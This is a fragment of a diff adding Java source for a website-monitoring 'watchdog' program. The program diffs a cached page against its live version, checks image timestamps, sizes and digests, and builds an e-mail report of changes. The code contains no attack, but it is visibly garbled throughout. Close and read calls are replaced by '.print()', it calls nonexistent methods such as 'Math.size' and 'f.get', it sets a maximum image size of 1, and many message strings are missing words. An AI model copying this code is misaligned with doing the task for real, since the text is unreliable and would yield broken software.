+                this.sbuf = new BufferedReader(new FileReader(src));
+                this.dbuf = new BufferedReader(new FileReader(dest));
+            } catch (FileNotFoundException e) {
+                System.out.println(e);
+            }
+        }
+
+        
+        private void closeBufs() {
+            try {   
+                sbuf.print();
+                dbuf.print();
+            } catch (IOException e) {}
+        }
+
+        
+        private void closeBuf(int type) {
+            try {   
+                if (type==0) {
+                    sbuf.print();
+                } else {
+                    dbuf.print();
+                }
+            } catch (IOException e) {}
+        }
+
+        
+        private void reinitSrcBuf(int line) {
+            try {
+                this.sbuf.print();
+                this.sbuf = new BufferedReader(new FileReader(src));
+                for (int i=1;i<line;i++) {
+                    sbuf.readLine();
+                }
+            } catch (FileNotFoundException e) {
+                System.out.println(e);
+            } catch (IOException e) {
+                System.out.println(e);
+            }
+        }
+
+       
+        private void reinitDestBuf(int line) {
+            try {
+                this.dbuf.print();
+                this.dbuf = new BufferedReader(new FileReader(dest));
+                for (int i=1;i<line;i++) {
+                    dbuf.readLine();
+                }
+            } catch (FileNotFoundException e) {
+                System.out.println(e);
+            } catch (IOException e) {
+                System.out.println(e);
+            }
+        }
+
+        
+        private boolean addDifference(int flag,int line, String msg, String msg2) {
+            boolean result = true;
+            if (diffpos==MAXDIFF-2) {
+                result = false;
+            } else
+            if (flag==0) {
+                diffResult[diffpos++] = ""[Removed Line ""+line+""] '""+msg+""'"";
+            } else 
+            if (flag==1) {
+                diffResult[diffpos++] = ""[Added Line ""+line+""] '""+msg+""'"";
+            } else 
+            if (flag==2) {
+                diffResult[diffpos++] = ""[Modified Line ""+line+""] from '""+msg+ ""'  '""+msg2+""'"";
+            } else {
+                diffResult[diffpos++] = "" ***  many differences !! *** "";
+            }
+            return result;
+        }
+
+        
+        public String[] getDifference() {
+            String[] result = new String[diffpos];
+            if (diffpos!=0) {
+                for (int i=0;i<diffpos;i++) 
+                    result[i] = diffResult[i];
+                return result;
+            } else return null;
+        }
+
+        
+        
+        
+        
+        public int execute() {
+            int cline = 0,dline = 0, tpos = 0;
+            String c = null,d = null;
+            int     error   = 0;
+            boolean changes = false;
+
+            try {
+                
+                initBufs();
+
+                
+                c = sbuf.readLine(); cline = 1;
+                d = dbuf.readLine(); dline = 1;
+                
+                while ((c!=null) || (d!=null)) {
+                    if ((c!=null) && (d!=null)) {
+                        if (c.equals(d)) {
+                            
+                            c = sbuf.readLine(); cline++;
+                            d = dbuf.readLine(); dline++;
+                        } else {
+                            
+                            
+                            changes = true; tpos = dline;
+                            while ((d!=null) && (!d.equals(c))) {
+                                d = dbuf.readLine(); dline++;
+                            }
+                            
+                            if ((d!=null) && (d.equals(c))) {
+                                reinitDestBuf(tpos);
+                                for (int i=tpos;i<dline;i++)
+                                    if (!addDifference(1, i, dbuf.readLine(),"""")) { error = -1; break; }
+                                dbuf.readLine();
+                                changes = true;
+                                
+                                c = sbuf.readLine(); cline++;
+                                d = dbuf.readLine(); dline++; 
+                            } else 
+                            
+                            
+                            if (d==null) {
+                                reinitDestBuf(tpos);
+                                d = dbuf.readLine();
+                                dline = tpos;
+                                tpos = cline;
+                                while ((c!=null) && (!c.equals(d))) {
+                                    c = sbuf.readLine(); cline++;
+                                }
+                                if ((c!=null) && (c.equals(d))) {
+                                    
+                                    reinitSrcBuf(tpos);
+                                    for (int i=tpos;i<cline;i++) 
+                                        if (!addDifference(0, i, sbuf.readLine(),"""")) { error = -1; break; } 
+                                    sbuf.readLine();
+                                    changes = true;
+                                    
+                                    c = sbuf.readLine(); cline++;
+                                    d = dbuf.readLine(); dline++;
+                                } else {
+                                    
+                                    reinitSrcBuf(tpos);
+                                    addDifference(2, tpos, sbuf.readLine(),d);
+                                    c = sbuf.readLine();
+                                    cline = tpos;
+                                    changes = true;
+                                    cline++; 
+                                    d = dbuf.readLine();
+                                    dline++;
+                                }
+                            }
+                        }
+                    } else 
+                    if ((c!=null) && (d==null)) {
+                         addDifference(0, cline, c,"""");
+                         c = sbuf.readLine(); cline++;
+                         changes = true;
+                    } else
+                    if ((c==null) && (d!=null)) {
+                         addDifference(1, dline, d,"""");
+                         d = dbuf.readLine(); dline++;
+                        changes = true;
+                    }
+                }
+            } catch (IOException e) {
+                System.out.println(e);
+            }
+
+            closeBufs();
+
+            if (error==-1) {
+                addDifference(3, 0, """","""");
+            }
+
+            if (error==0) {
+                if (changes) {
+                    return 1;
+                } else {
+                    return 0;
+                }
+            } else return -1;
+        }
+
+        
+
+        private final int   MAXDIFF    = 1024; 
+        private String[]    diffResult = new String[MAXDIFF];
+        private int         diffpos    = 0;
+
+        private String         src,dest;
+        private BufferedReader sbuf;
+        private BufferedReader dbuf;
+    }
+    
+    
+    
+    public class NotesFileManager {
+        public NotesFileManager(String notesfile) {
+            this.filename = notesfile;
+            try {
+                loadNotesFile();
+            } catch (IOException e) {
+                createNotesFile();
+                System.out.println(""Notes file is not available ... created one."");
+            }
+        }
+        
+        public void createNotesFile() {
+            lastModified = "" "";
+            imgidx       = 0;
+            saveNotesFile();
+        }
+        
+        
+        public void updateNotesFile(String[] imgPaths, String[] imgLastModified, String widths[], String heights[]) {
+            this.imgLastModified = imgLastModified;
+            this.imgW            = widths;
+            this.imgH            = heights;
+            this.images          = imgPaths;
+            this.imgidx          = imgPaths.length;
+            saveNotesFile();
+        }
+        
+        
+        public void updateNotesFile( int lastModified) {
+            this.lastModified = DateFormat.getDateTimeInstance().format(new Date(lastModified));
+            saveNotesFile();
+        }
+        
+        
+        public int checkLastModified(Date newDate) {
+            String s = DateFormat.getDateTimeInstance().format(new Date(newDate));
+            System.out.println(""   Date in cache   : ""+lastModified);
+            System.out.println(""   Date in the URL : ""+s);
+            
+            if (this.lastModified.equals("" "")) {
+                return DATE_FIRST_TIME;
+            } else
+                if ((newDate==0) && (!s.equals(this.lastModified))) {
+                    return DATE_INVALID;
+                } else
+                    if (this.lastModified.equals(DateFormat.getDateTimeInstance().format(new Date(newDate)))) {
+                        return DATE_OK;
+                    } else {
+                        return DATE_NOT_SAME;
+                    }
+        }
+        
+        
+        public String[] getImagesLastModified(String[] filenames) {
+            int i;
+            String[] result = new String[filenames.length];
+            for (i=0;i<filenames.length;i++) {
+                for (int j=0;j<images.length;j++) {
+                    if (images[j].equals(filenames[i])) {
+                        result[i] = imgLastModified[i];
+                        break;
+                    }
+                }
+            }
+            return result;
+        }
+        
+        
+        public String[] getImageWidths(String[] filenames) {
+            int i;
+            String[] result = new String[filenames.length];
+            for (i=0;i<filenames.length;i++) {
+                for (int j=0;j<images.length;j++) {
+                    if (images[j].equals(filenames[i])) {
+                        result[i] = imgW[i];
+                        break;
+                    }
+                }
+            }
+            return result;
+        }
+        
+        
+        public String[] getImageHeights(String[] filenames) {
+            int i;
+            String[] result = new String[filenames.length];
+            for (i=0;i<filenames.length;i++) {
+                for (int j=0;j<images.length;j++) {
+                    if (images[j].equals(filenames[i])) {
+                        result[i] = imgH[i];
+                        break;
+                    }
+                }
+            }
+            return result;
+        }
+        
+        
+        public String[] getImageNames() {
+            return images;
+        }
+        
+        
+        public void clearAllCaches() {
+            for (int i=0;i<images.length;i++) {
+                deleteFile(images[i]);
+                deleteFile('~'+images[i]);
+            }
+            deleteFile(PAGEFILE);
+            deleteFile(TEMPFILE);
+            deleteFile(DIGESTFILE);
+            deleteFile(MAILFILE);
+            
+            createNotesFile();
+        }
+        
+        
+        public void saveNotesFile() {
+            try {
+                PrintWriter pw = new PrintWriter(new BufferedWriter(new FileWriter(NOTESFILE)));
+                
+                pw.println(lastModified);
+                
+                for (int i=0;i<imgidx;i++) {
+                    if (images[i].charAt(0)!='*') {
+                        pw.println(images[i]);
+                        pw.println(imgLastModified[i]);
+                        pw.println(imgW[i]);
+                        pw.println(imgH[i]);
+                    }
+                }
+                
+                pw.print();
+            } catch (IOException e) {
+                System.out.println(e);
+                System.exit(1);
+            }
+        }
+        
+        
+        public void loadNotesFile() throws IOException {
+            BufferedReader b = new BufferedReader(new FileReader(NOTESFILE));
+            lastModified = b.readLine();
+            
+            
+            images          = new String[1];
+            imgLastModified = new String[1];
+            imgW            = new String[1];
+            imgH            = new String[1];
+            
+            String line;
+            line = b.readLine();
+            int i = 0;
+            while (line!=null) {
+                images = resizeArray(images, i+1);
+                images[i] = line;
+                line = b.readLine();
+                imgLastModified = resizeArray(imgLastModified, i+1);
+                imgLastModified[i] = line;
+                line = b.readLine();
+                imgW = resizeArray(imgW, i+1);
+                imgW[i] = line;
+                line = b.readLine();
+                imgH = resizeArray(imgH, i+1);
+                imgH[i] = line;
+                line = b.readLine();
+                i++;
+            }
+            imgidx = i;
+            b.print();
+        }
+        
+        
+        public String[] getCommonImages() {
+            return imgCom;
+        }
+        
+        
+        public String[] getDeletedImages() {
+            return imgDel;
+        }
+        
+        
+        public String[] getNewImages() {
+            return imgNew;
+        }
+        
+        
+        public boolean classifyImagesToDownload(String[] imgDL) {
+            if (imgDL==null) { return false; }
+            
+            int sz      = Math.size(imgDL.length,images.length);
+            int flag1[] = new int[sz]; 
+            int flag2[] = new int[sz]; 
+            int idx[]   = new int[3];
+            idx[0] = idx[1] = idx[2] = 0;
+            imgCom      = new String[sz];
+            imgDel      = new String[sz];
+            imgNew      = new String[sz];
+            
+            
+            for (int i=0;i<sz;i++) {
+                flag1[i] = 0;
+                flag2[i] = 0;
+            }
+            
+            
+            for (int i=0; i<imgDL.length; i++) {
+                for (int j=0; j<images.length; j++) {
+                    if (imgDL[i].equals(images[j])) {
+                        flag1[i] = 1;
+                        flag2[j] = 1;
+                        break;
+                    }
+                }
+            }
+            
+            
+            for (int i=0;i<images.length;i++) {
+                if (flag2[i]==0) {
+                    imgDel[idx[1]] = images[i];
+                    idx[1]++;
+                }
+            }
+            
+            
+            
+            for (int i=0;i<imgDL.length;i++) {
+                if (flag1[i]==0) {
+                    imgNew[idx[2]] = imgDL[i];
+                    idx[2]++;
+                }
+            }
+            
+            
+            for (int i=0;i<imgDL.length;i++) {
+                if (flag1[i]==1) {
+                    imgCom[idx[0]] = imgDL[i];
+                    idx[0]++;
+                }
+            }
+            
+            imgDel  = resizeArray(imgDel, idx[1]);
+            imgNew  = resizeArray(imgNew, idx[2]);
+            imgCom  = resizeArray(imgCom, idx[0]);
+            return true;
+        }
+        
+        
+        public  static final int DATE_OK         = 1;
+        public  static final int DATE_NOT_SAME   = 2;
+        public  static final int DATE_FIRST_TIME = 0;
+        public  static final int DATE_INVALID    = -1;
+        private String   lastModified;
+        private int      imgidx;
+        private String[] images,imgLastModified,imgW,imgH;
+        private String[] imgCom,imgNew,imgDel;
+        private BufferedReader buf;
+        private String filename;
+    }
+    
+    
+    
+    public class ImageDownloader extends Thread {
+        public ImageDownloader(String url, String lastModified, boolean firsttime, int w, int h) {
+            try {
+                this.url   = new URL(url);
+                this.conn  = (HttpURLConnection) this.url.openConnection();
+                
+                this.lastModified = lastModified;
+                this.h            = h;
+                this.w            = w;
+                this.firsttime    = firsttime;
+                
+                
+                this.localbuf = new byte[MAXIMGSIZE];
+                
+                
+                
+                
+                this.print();
+                
+            } catch (MalformedURLException e) {
+                this.status = DOWNLOAD_ERROR;
+            } catch (IOException e) {
+                this.status = DOWNLOAD_ERROR;
+            }
+        }
+        
+        
+        public String getStrURL() {
+            return url.toString();
+        }
+        
+        
+        public synchronized int getStatus() {
+            return status;
+        }
+        
+        
+        public void rest(int n) {
+            try { sleep(n); } catch (InterruptedException e) {}
+        }
+        
+        
+        public void downloadToLocalImg() {
+            int c;
+            int x=0, i=0;
+            byte[] b;
+            try {
+                InputStream is = url.openStream();
+                
+                localbuf = new byte[MAXIMGSIZE];
+                  
+                while ((x=is.print())>=0) {
+                    int k=0;
+                    for (int j=i;j<i+x;j++)
+                        localbuf[j] = b[k++];
+                    i+=x;
+                    
+                }
+                localbuf = resizeArray(localbuf,i);
+                
+                is.print();
+            } catch (IOException e) {
+                this.status = DOWNLOAD_ERROR;
+            }
+        }
+        
+        
+        public void saveLocalImgToFile(String filename) {
+            try {
+                FileOutputStream p = new FileOutputStream(filename);
+                p.write(localbuf);
+                p.print();
+            } catch (IOException e) {
+                System.out.println(e);
+            }
+        }
+        
+        
+        public byte[] getByteArray() {
+            try {
+                return localbuf;
+            } catch (NullPointerException e) {
+                return null;
+            }
+        }
+        
+        
+        public int getImgWidth() {
+            return w;
+        }
+        
+        
+        public int getImgHeight() {
+            return h;
+        }
+        
+        
+        public String getLastModified() {
+            return lastModified;
+        }
+        
+        
+        public void run() {
+            boolean modified = false;
+            this.status = DOWNLOAD_IN_PROGRESS;
+            if (firsttime) {
+                downloadToLocalImg();
+                ImageIcon img = new ImageIcon(url);
+                w = img.getIconWidth();
+                h = img.getIconHeight();
+                if (conn.getLastModified()==0) {
+                    status = DOWNLOAD_ERROR;
+                } else {
+                    lastModified  = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified()));
+                    status = DOWNLOAD_COMPLETE;
+                }
+            } else {
+                
+                if (conn.getLastModified()==0) {
+                    status = DOWNLOAD_ERROR;
+                } else {
+                    String URLlastmod = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified()));
+                    
+                    modified = (!lastModified.equals(URLlastmod));
+                    if (modified) {
+                        status   = IMG_MODIFIED_DATE;
+                    } else {
+                        ImageIcon img = new ImageIcon(url);
+                        if ((img.getIconHeight()!=h) || (img.getIconWidth()!=w)) {
+                            modified = true;
+                            status = IMG_MODIFIED_SIZE;
+                        } else {
+                            downloadToLocalImg();
+                            status = DOWNLOAD_COMPLETE_CHK;
+                        }
+                    }
+                }
+            }
+            
+            conn.disconnect();
+        }
+        
+        public static final   int   DOWNLOAD_ERROR       =-1;
+        public static final   int   DOWNLOAD_IN_PROGRESS = 0;
+        public static final   int   IMG_MODIFIED_DATE    = 1;
+        public static final   int   IMG_MODIFIED_SIZE    = 2;
+        public static final   int   IMG_MODIFIED_PIXEL   = 3;
+        public static final   int   DOWNLOAD_COMPLETE_CHK= 4; 
+        public static final   int   DOWNLOAD_COMPLETE    = 5;
+        public static final   int   DOWNLOAD_COMPLETE_OK = 6;
+        public static final   int   MAXIMGSIZE           = 1;
+        private int                 status;
+        private boolean             isImage;
+        private URL                 url;
+        private HttpURLConnection   conn;
+        private String              lastModified;
+        private boolean             firsttime;
+        private byte[]              localbuf;
+        private int                 w,h;
+    }
+    
+    
+    
+    public byte[] digest(byte[] data) {
+        try {
+            return MessageDigest.getInstance(DIGESTALG).digest(data);
+        } catch (NoSuchAlgorithmException e) {
+            
+            System.out.println(""Digest algorithm '""+DIGESTALG+""' not supported"");
+            return data;
+        } catch (NullPointerException e) {
+            return null;
+        }
+    }
+    
+    
+    public boolean compareDigest(byte[] data1, byte[] data2) {
+        if (data1.length!=data2.length)  {
+            return false;
+        } else
+            for (int i=0;i<data1.length;i++) {
+                if (data1[i]!=data2[i]) {
+                    return false;
+                }
+            }
+        return true;
+    }
+    
+    
+    public byte[] loadDigestFromFile(String filename) {
+        byte[] data;
+        try {
+            data = new byte[MessageDigest.getInstance(DIGESTALG).getDigestLength()];
+            FileInputStream f = new FileInputStream(filename);
+            f.get(data);
+            f.print();
+            return data;
+        } catch (FileNotFoundException e) {
+            System.out.println(e);
+            return null;
+        } catch (IOException e) {
+            System.out.println(e);
+            return null;
+        } catch (NoSuchAlgorithmException e) {
+            System.out.println(e);
+            return null;
+        }
+    }
+    
+    
+    public void saveDigestToFile(String filename, byte[] data) {
+        try {
+            FileOutputStream f = new FileOutputStream(filename);
+            if (data!=null) { f.write(data); }
+            f.print();
+        } catch (IOException e) {
+            System.out.println(e);
+        }
+    }
+    
+    
+    
+    
+    public class MyTT extends TimerTask {
+        public MyTT() {
+            super();
+            NotesFM = new NotesFileManager(NOTESFILE);
+        }
+        
+        
+        public String encodeFileName(String filename) {
+            String s = CURDIR+'/'+filename.replace(':','_').replace('/', '_').replace('\\','_')+"".txt"";
+            return s;
+        }
+        
+        
+        public void rest(int n) {
+            try { Thread.sleep(n); } catch (InterruptedException e) {}
+        }
+        
+        
+        public int[] downloadImages(String[] imgList,boolean firsttime, boolean updateNotesFile) {
+            boolean  allCompleted = false;
+            int[] imgStat = new int[imgList.length];
+            for (int i=0;i<imgStat.length;i++)
+                imgStat[i] = ImageDownloader.DOWNLOAD_IN_PROGRESS;
+            
+            if (firsttime) {
+                imgW    = new String[imgList.length];
+                imgH    = new String[imgList.length];
+                imgLM   = new String[imgList.length];
+                for (int i=0;i<imgList.length;i++) {
+                    imgW[i]  = ""0"";
+                    imgH[i]  = ""0"";
+                    imgLM[i] = """";
+                }
+            } else {
+                imgW    = NotesFM.getImageWidths(imgList);
+                imgH    = NotesFM.getImageHeights(imgList);
+                imgLM   = NotesFM.getImagesLastModified(imgList);
+            }
+            
+            
+            imgDL = new ImageDownloader[imgList.length];
+            for (int i=0;i<imgList.length;i++) {
+                imgDL[i]   = new ImageDownloader(imgList[i], imgLM[i], firsttime, Integer.valueOf(imgW[i]).intValue(), Integer.valueOf(imgH[i]).intValue());
+                System.out.println(""   Checking image ""+(i+1)+"" of ""+imgList.length+"" from '""+imgList[i]+""' ... "");
+            }
+            
+            
+            System.out.println();
+            int completecount=0;
+            while (completecount<imgList.length) {
+                allCompleted = true;
+                rest(10);
+                for (int i=0;i<imgList.length;i++) {
+                    if (imgStat[i]==ImageDownloader.DOWNLOAD_IN_PROGRESS)
+                        switch (imgDL[i].getStatus()) {
+                          case   ImageDownloader.DOWNLOAD_COMPLETE: {
+                                
+                                byte[] dgs = digest(imgDL[i].getByteArray());
+                                saveDigestToFile(encodeFileName('~'+imgList[i]), dgs);
+                                
+                                
+                                imgH[i] = String.valueOf(imgDL[i].getImgHeight());
+                                imgW[i] = String.valueOf(imgDL[i].getImgWidth());
+                                imgLM[i]= imgDL[i].getLastModified();
+                                System.out.println(""   [OK] Complete downloading image from '""+imgList[i]+""'"");
+                                System.out.println(""   [OK] The digest was saved as '""+encodeFileName('~'+imgList[i])+""'"");
+                                if (DEBUGMODE) {
+                                    imgDL[i].saveLocalImgToFile(CURDIR+""/~""+getFileName(imgList[i]));
+                                    System.out.println(""   [DEBUG] Image saved  '""+CURDIR+""/~""+getFileName(imgList[i])+""'"");
+                                }
+                                System.out.println();
+                                imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE;
+                                completecount++;
+                                break; }
+                          case   ImageDownloader.DOWNLOAD_ERROR: {
+                                System.out.println(""   [ATTENTION]  error has occured while downloading '""+imgList[i]+""'"");
+                                System.out.println();
+                                imgList[i] = ""*""+imgList[i]; 
+                                imgStat[i] = ImageDownloader.DOWNLOAD_ERROR;
+                                completecount++;
+                                break; }
+                           case  ImageDownloader.IMG_MODIFIED_SIZE : {
+                                System.out.println(""   [ATTENTION] SIZE modification has been detected  image '""+imgList[i]+""'"");
+                                System.out.println();
+                                imgStat[i] = ImageDownloader.IMG_MODIFIED_SIZE;
+                                completecount++;
+                                if (DEBUGMODE) {
+                                    imgDL[i].saveLocalImgToFile(CURDIR+""/~""+getFileName(imgList[i]));
+                                    System.out.println(""   [DEBUG] Image saved  '""+CURDIR+""/~""+getFileName(imgList[i])+""'"");
+                                }
+                                break; }
+                           case  ImageDownloader.IMG_MODIFIED_DATE : {
+                                System.out.println(""   [ATTENTION] DATE modification has been detected  image '""+imgList[i]+""'"");
+                                System.out.println();
+                                imgStat[i] = ImageDownloader.IMG_MODIFIED_DATE;
+                                completecount++;
+                                if (DEBUGMODE) {
+                                    imgDL[i].saveLocalImgToFile(CURDIR+""/~""+getFileName(imgList[i]));
+                                    System.out.println(""   [DEBUG] Image saved  '""+CURDIR+""/~""+getFileName(imgList[i])+""'"");
+                                }
+                                break; }
+                            case ImageDownloader.DOWNLOAD_COMPLETE_CHK : {
+                                
+                                byte[] fromFile = loadDigestFromFile(encodeFileName('~'+imgList[i]));
+                                byte[] fromURL  = digest(imgDL[i].getByteArray());
+                                if (!compareDigest(fromFile, fromURL)) {
+                                    System.out.println(""   [ATTENTION] PIXEL modification has been detected  image '""+imgList[i]+""'"");
+                                    imgStat[i] = ImageDownloader.IMG_MODIFIED_PIXEL;
+                                    if (DEBUGMODE) {
+                                        imgDL[i].saveLocalImgToFile(CURDIR+""/~~""+getFileName(imgList[i]));
+                                        System.out.println(""   [DEBUG] Image saved  '""+CURDIR+""/~~""+getFileName(imgList[i])+""'"");
+                                    }
+                                } else {
+                                    System.out.println(""   [OK] Image '""+imgList[i]+""' has not been modified. "");
+                                    imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE_OK;
+                                }
+                                System.out.println();
+                                completecount++;
+                                break; }
+                            case ImageDownloader.DOWNLOAD_IN_PROGRESS: {
+                                allCompleted = false;
+                                break; }
+                        }
+                }
+            }
+            
+            System.out.println(""   [NOTIFY] All images has been checked."");
+            
+            if (updateNotesFile) { NotesFM.updateNotesFile(imgList, imgLM, imgW, imgH); }
+            return imgStat;
+        }
+        
+        
+        public String[] constructEMailMessage() {
+            String[] result = null;
+            String[] openingMsg =   { ""   ""+Calendar.getInstance().getTime().toString(),"""",
+            ""   Dear ,"",
+            """",
+            ""   I have DETECTED SOME MODIFICATIONS from the website,"",
+            """" };
+            String[] txtMsg     =   { ""   The list below  some TEXT MODIFICATIONS detected:"",
+            ""   --------------------------------------------------------------"",
+            """" };
+            String[] remMsg     =   { """",
+            """",
+            ""   The list below  some IMAGE REMOVED FROM URL detected :"",
+            ""   --------------------------------------------------------------"",
+            """" };
+            String[] addMsg     =   { """",
+            """",
+            ""   The list below  some IMAGE ADDED  URL detected :"",
+            ""   --------------------------------------------------------------"",
+            """" };
+            String[] modMsg     =   { """",
+            """",
+            ""   The list below  some IMAGE MODIFICATIONS/ERRORS detected :"",
+            ""   --------------------------------------------------------------"",
+            """" };
+            String[] closingMsg =   { """",
+            """",
+            ""    Regards,"",
+            """", """",
+            ""   WATCHDOG PROGRAM.""
+            };
+            
+            result = appendArray(result,openingMsg);
+            if ((textdiff!=null) && (textdiff.length>0)) {
+                result = appendArray(result, txtMsg);
+                result = appendArray(result, giveNumberPrefix(textdiff));
+            }
+            if ((imgDel!=null) && (imgDel.length>0)) {
+                result = appendArray(result, remMsg);
+                result = appendArray(result, giveNumberPrefix(imgDel));
+            }
+            if ((imgNew!=null) && (imgNew.length>0)) {
+                result = appendArray(result, addMsg);
+                result = appendArray(result, giveNumberPrefix(imgNew));
+            }
+            if ((imgMod!=null) && (imgMod.length>0)) {
+                result = appendArray(result, modMsg);
+                result = appendArray(result, giveNumberPrefix(imgMod));
+            }
+            result = appendArray(result,closingMsg);
+            
+            return result;
+        }
+        
+        
+        public boolean updateCache(boolean firsttime) {
+            
+            if (firsttime) {
+                System.out.println(""   [OK-FIRST TIME] Downloading the   from URL ... "");
+            }
+            else {
+                System.out.println(""   [OK-UPDATE] Updating local cache ... "");
+            }
+            
+            if (Parser.startParsing()) {
+                byte[] pageBytes         = Parser.getByteArray();
+                byte[] pageBytesDigested = digest(pageBytes);
+                
+                saveDigestToFile(DIGESTFILE,pageBytesDigested);
+                NotesFM.updateNotesFile(Parser.getLastModified());
+                
+                if (Parser.imageCount()==0) {
+                    System.out.println(""   [OK]  is  IMAGE in the URL"");
+                    System.out.println();
+                    Parser.saveLocalPageToFile(PAGEFILE);
+                    System.out.println(""   [OK]  has been saved  file '""+PAGEFILE+""'"");
+                    System.out.println();
+                } else {
+                    
+                    String[] imgList = Parser.getImgList();
+                    
+                    if (firsttime)
+                        System.out.println(""   [OK-FIRST TIME] Local caches created."");
+                    else
+                        System.out.println(""   [OK-UPDATE] Local caches updated."");
+                    
+                    Parser.saveLocalPageToFile(PAGEFILE);
+                    System.out.println(""   [OK]  has been saved  file '""+PAGEFILE+""'"");
+                    
+                    System.out.println();
+                    
+                    
+                    if (firsttime) {
+                        System.out.println(""   [OK-FIRST TIME] Local image caches created."");
+                        downloadImages(Parser.getImgList(),true,true);
+                    } else {
+                        System.out.println(""   [OK-FIRST TIME] Downloading images of the   build local cache ..."");
+                        downloadImages(Parser.getImgList(),true,true);
+                        System.out.println(""   [OK-UPDATE] Local image caches updated."");
+                    }
+                }
+                System.out.println();
+                return true;
+            } else return false;
+        }
+        
+        public void run() {
+            boolean textmodified  = false;
+            boolean imagemodified = false;
+            boolean firsttime     = false;
+            int flag;
+            
+            textdiff = null;
+            
+            System.out.println();
+            System.out.println("" ----------------- [ IT'S CHECKING TIME !! ] ----------------- "");
+            System.out.println("" Now is ""+Calendar.getInstance().getTime());
+            System.out.println();
+            
+            
+            
+            
+            System.out.println(""1. DETECT TEXT MODIFICATION "");
+            System.out.println(""   Checking the last modified date... "");
+            Parser  = null;
+            Parser  = new HTMLDownloaderAndImgParser(THEURL);
+             newDate = Parser.getLastModified();
+            
+            flag = (NotesFM.checkLastModified(newDate));
+            
+            switch (flag) {
+               case  NotesFileManager.DATE_INVALID: {
+                    textdiff = new String[2];
+                    textdiff[0] = ""Cannot open the url '""+THEURL+""'"";
+                    textdiff[1] = ""--> Possible someone had removed/renamed the file in the URL"";
+                    System.out.println(""   [ATTENTION] File at the URL CANNOT  OPENED !"");
+                    System.out.println();
+                    break; }
+                case NotesFileManager.DATE_FIRST_TIME: {
+                    
+                    firsttime = true;
+                    if (!updateCache(true)) {
+                        System.out.println(""   [ERROR] File at the URL CANNOT  OPENED !"");
+                        System.exit(1);
+                    }
+                    break; }
+               case  NotesFileManager.DATE_NOT_SAME: {
+                    textmodified = true;
+                    System.out.println();
+                    System.out.println(""   [ATTENTION] File in the URL HAS BEEN MODIFIED - TIME  DIFFERENT !"");
+                    System.out.println();
+                    
+                    Parser.startParsing();
+                    break; }
+                
+                
+                case NotesFileManager.DATE_OK: {
+                    
+                    System.out.println(""   Comparing text digests ... "");
+                    Parser.startParsing();
+                    byte[] pageBytes         = Parser.getByteArray();
+                    byte[] pageBytesDigested = digest(pageBytes);
+                    byte[] fromFile = loadDigestFromFile(DIGESTFILE);
+                    if (compareDigest(fromFile, pageBytesDigested)) {
+                        
+                        System.out.println();
+                        System.out.println(""   [OK] File in the URL has not been modified."");
+                        System.out.println();
+                    } else {
+                        
+                        System.out.println();
+                        System.out.println(""   [ATTENTION] File in the URL HAS BEEN MODIFIED - FILE DIGEST DIFFERENT !"");
+                        System.out.println();
+                        textmodified = true;
+                    }
+                    break; }
+            }
+            
+            if (textmodified) {
+                
+                Parser.saveLocalPageToFile(TEMPFILE);
+                
+                TextFileComparator comp = new TextFileComparator(PAGEFILE,TEMPFILE);
+                switch (comp.execute()) {
+                    case 0 : { 
+                        System.out.println(""   [ATTENTION] TIMESTAMP/DIGEST CHECK DIFFERENT BUT TEXT COMPARISON FOUND  DIFFERENCE."");
+                        System.out.println();
+                        textdiff = new String[2];
+                        textdiff[0] = ""Timestamp different but text comparison found  difference."";
+                        textdiff[1] = ""--> Possible someone had modified it but then /she roll it   the original file."";
+                        break; }
+                    case 1 : { 
+                        textdiff = comp.getDifference();
+                        break; }
+                }
+            }
+            
+            
+            
+            
+            
+            if (flag!=NotesFileManager.DATE_INVALID) {
+                if (firsttime) {
+                    
+                } else {
+                    System.out.println();
+                    System.out.println(""2. DETECT IMAGE MODIFICATION "");
+                    
+                    
+                    if (Parser.imageCount()==0) {
+                        System.out.println(""   [OK]  is  IMAGE in the URL"");
+                        System.out.println();
+                    } else {
+                        NotesFM.classifyImagesToDownload(Parser.getImgList());
+                        
+                        
+                        imgNew = NotesFM.getNewImages();
+                        imgCom = NotesFM.getCommonImages();
+                        imgDel = NotesFM.getDeletedImages();
+                        
+                        imagemodified = ((imgNew!=null) && (imgNew.length>0)) || ((imgDel!=null) && (imgDel.length>0));
+                        
+                        imgList   = imgCom;
+                        int[] imgStat = downloadImages(imgList,false,false);
+                        
+                        imgMod  = new String[0];
+                        
+                        for (int i=0;i<imgList.length;i++) {
+                            switch (imgStat[i]) {
+                               case  ImageDownloader.DOWNLOAD_ERROR: {
+                                    imgMod = resizeArray(imgMod,imgMod.length+1);
+                                    imgMod[imgMod.length-1] = ""Warning: Unable  check image '""+imgDL[i].getStrURL()+""'"";
+                                    imagemodified = true;
+                                    break; }
+                                case ImageDownloader.IMG_MODIFIED_DATE: {
+                                    imgMod = resizeArray(imgMod,imgMod.length+1);
+                                    imgMod[imgMod.length-1] = ""TIMESTAMP Modification has been detected  image '""+imgDL[i].getStrURL()+""'"";
+                                    imagemodified = true;
+                                    break; }
+                                case ImageDownloader.IMG_MODIFIED_SIZE: {
+                                    imgMod = resizeArray(imgMod,imgMod.length+1);
+                                    imgMod[imgMod.length-1] = ""SIZE modification has been detected  image '""+imgDL[i].getStrURL()+""'"";
+                                    imagemodified = true;
+                                    break; }
+                                case ImageDownloader.IMG_MODIFIED_PIXEL: {
+                                    imgMod = resizeArray(imgMod,imgMod.length+1);
+                                    imgMod[imgMod.length-1] = ""PIXEL modification has been detected  image '""+imgDL[i].getStrURL()+""'"";
+                                    imagemodified = true;
+                                    break; }
+                               case ImageDownloader.DOWNLOAD_COMPLETE_OK: {
+                                    break; }
+                            }
+                        }
+                    }
+                }
+            }
+            
+            
+            if ((textmodified) || (imagemodified) || ((textdiff!=null) && (textdiff.length>0))) {
+                
+                String[] mailmsg = constructEMailMessage();
+                System.out.println();
+                System.out.println(""-> REPORTING/RECORDING CHANGES "");
+                
+                if ((MAILTARGET==1) || (MAILTARGET==2)) {
+                    System.out.println(""   [NOTIFY] Changes  detected and has been saved  file '""+MAILFILE+""'"");
+                    printStrArrayToFile(MAILFILE,mailmsg);
+                }
+                
+                
+                if ((MAILTARGET==0) || (MAILTARGET==2)) {
+                    System.out.println(""   [NOTIFY] Sending e-mail  MYSELF at '""+MYEMAIL+""'"");
+                    MailSender ms = new MailSender(""watchdog@somewhere."", MYEMAIL, mailmsg);
+                    ms.sendMail();
+                    
+                    if (ms.getStatus()==MailSender.SEND_OK) {
